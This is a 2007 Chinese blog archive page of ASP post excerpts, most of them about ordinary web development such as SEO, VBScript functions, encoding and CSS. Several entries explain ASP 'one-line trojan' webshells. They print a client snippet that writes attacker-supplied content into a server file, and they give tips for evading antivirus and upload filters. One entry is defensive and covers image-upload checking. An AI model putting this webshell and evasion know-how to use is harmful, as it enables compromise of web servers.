木子屋 Dnawo's BLOG

2007-05 归档

共 69 篇

从蓝屏最小的asp木马来看C/S木马技术

这几天狂补asp,昨天休息,无聊就把自己的东西总结了一下,突然想到了我们经常使用的C/S型的webshell, 于是乎就胡乱分析了一下!呵呵! 众所周知,蓝屏的最小的asp木马,服务端仅一句话: 可以说是C/S型木马的极品!再看客户端: set lP=server.createObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request("p") lP.SaveToFile server.mappath("Neeao.asp"),2 lP.Close set lP=nothing response.redirect "Neeao.asp"…

asp一句话木马的原理

先讲一下原理: "一句话木马"服务端 就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 其中value可以自己修改 "一句话木马"客户端 用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件 一句话木马客户端源文件: 里面涉及到一些脚本知识,我就只讲解一下功能和简单注释,不详细讲了,大家只要注意几个注意点就行了 ***********************************************************…

修改asp代码防止被杀毒软件误删

  某些杀毒软件会把正常的asp文件误认为是asp木马文件,而自动删除,影响正常使用。   下面方法可能会有效避免被杀毒软件删除   把   改成   如果杀毒软件认为是病毒的关键字符串是一个对象的方法或属性   如   把   改成

当碰到不能使用asp标记的时候

以前好多朋友说过就是在程序上传shell过程中,程序不允许包含标记符号的内容的文件上传,这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵! 我们拿蓝屏最小的ASP代码来看下: 我们来把他的标签换下来: 呵呵!这样就避开了使用,保存为.asp,程序照样执行,效果一样的说!

实例方法:解决ASP图像上传漏洞

常听说的ASP上传漏洞,即是将一些木马文件修改后缀名(修改为图像文件后缀),进行上传。 针对此情况使用下列函数进行辨别: 那么在应用的时候 ")) 或者 ")) 反正即是检测验证本地物理地址的图像文件类型,返回 true 或 false值 所以这个情况应用在图像上传中,目前的办法是先允许该“伪图像”文件的上传,接着使用以上的自定义函数判断该文件是否符合图像的规范,若是木马伪装的图像文件则FSO删除之,比如: file.SaveAs Server.mappath(filename) '保存文件 If not CheckFileType(Server.mappath(filename)) then…

ASP中使用INCLUDE对搜索引擎收录是否有影响

点石有会员提出一个问题:ASP中过多使用如对引擎收录有影响吗?这个问题引起大家的热门讨论,zac指出include应该是服务器端执行的,SE根本不知道是include的,所以对搜索引擎没有影响。seo123说使用对搜索引擎几乎没影响,而使用则认为这样是对seo一窍不通。 关于include的问题,其实在php中也有类似的问题,只是用法不一样,比如php中用法是include/xxxxx.php,原理差不多,这里只说asp。 如果include对搜索引擎收录有影响,那么则要慎用了,从seo的角度考虑,当然是希望自己的内容都被搜索引擎收录并去的好的排名。那么,真的对搜索引擎是有影响的吗? zac说的很对,include是由服务器端执行的,我们把单个的xxx.asp分拆成xxx1.asp和xxx2.asp,xxx.asp改名为xxxx.asp,而xxxx.asp中包含两个include,即与,我们看到的执行结果应该是xxx.asp与xxxx.asp是相同的。所以从原理上来说,使用include与不使用include对搜索引擎是相同的效果。…

网络整理的ASP常用五类内置函数

函数,就是该语言封装了的一个功能块,以方便用户的调用。比如“now()”在VBScript中就是一个能显示出当前日期和时间的函数。至于具体为什么能显示,则是该语言内核所定的,用户只需明白“now()”就是用来能显示日期时间的。那么,我们当前接触的VBScript还有其他什么功能的函数么? 1,日期/时间函数 这些函数包括对“年”、“月”、“日”、“时”、“分”、“秒”、“星期”等的显示。 (1)Now函数:根据计算机系统设定的日期和时间,返回当前的日期和时间值。使用方法now(); (2)Date函数:只返回当前计算机系统设定的日期值。使用方法:date(); (3)Time函数:只返回当前计算机系统设定的时间值。使用方法:time();…

ASP动态网页下UTF-8页面乱码的解决方法

为什么在ASP里指定了codepage为65001还经常显示乱码.才子在这里将这个问题详细解释一下,以免很多朋友再走弯路,甚至排斥UTF-8. 如果你还不知道UTF-8是什么东东,那才子建议你先去搜索一下UTF-8的相关资料吧. UTF-8编码之所以被越来越多的人接受甚至喜欢,肯定是有道理的,在WEB2.0盛行的今天,在大谈多浏览器兼容的同时,不得不想到字符编码不同所造成的乱码现象同样需要得到很好的处理..... 在N年以前,IE6以下的所有版本,只要没有安装相应的字库,访问相关的页面都是会乱码的,例如,我是IE5 (Windows2000默认) 的版本,在没有安装IE繁体字库的情况下,访问任何繁体页面的网站都是会乱码的,当然前提是该页面采用了BIG5的Charset,而UTF-8作为一种国际编码就能很好的处理该问题,只要将页面存为UTF-8编码格式,再在页面上将codepage及charset全部定义为utf-8就可以在任何客户端浏览器中显示出完全正确的内容,完全不会乱码......…

网站选SQL Server还是Access当后台数据库好?

做网站数据库,是选SQL Server还是Access好,可能您会说:选MySQL好,不过现在只是讨论IIS+ASP这种架构下的选择,不讨论Apache+PHP的情况。如果您现在是在局域网中使用,而且软件的价格成本不是考虑的因素,那当然是用SQL Server好了,似乎这个问题没什么好讨论的。不过在互联网上就不太一样了,因为大部分做网站的人都是租用别人的虚拟主机,比较常见的组合是PHP+MySQL或ASP+ACCESS或ASP+SQL Server,下面就使用ACCESS及SQL Server做一个比较: 成本 使用SQL Server的虚拟主机报价一般是使用ACCESS的1.5至2.5倍。 性能…

初学:认真学习网页技术CSS的选择符

通配选择符 语法: * 说明: 选定文档目录树(DOM)中的所有类型的单一对象。 假如通配选择符不是单一选择符中的唯一组成,“*”可以省略。 目前IE5.5+尚不支持此种选择符。 示例: * { font-size:14px; width:120px; } *.div { text-decoration:none; } 类型选择符 语法: E1 说明: 以文档语言对象类型作为选择符。 示例: td { font-size:14px; width:120px; } a { text-decoration:none; } 属性选择符 语法: 1. E1 2. E1 3. E1 4. E1 说明: 1. 选择具有attr属性的E1…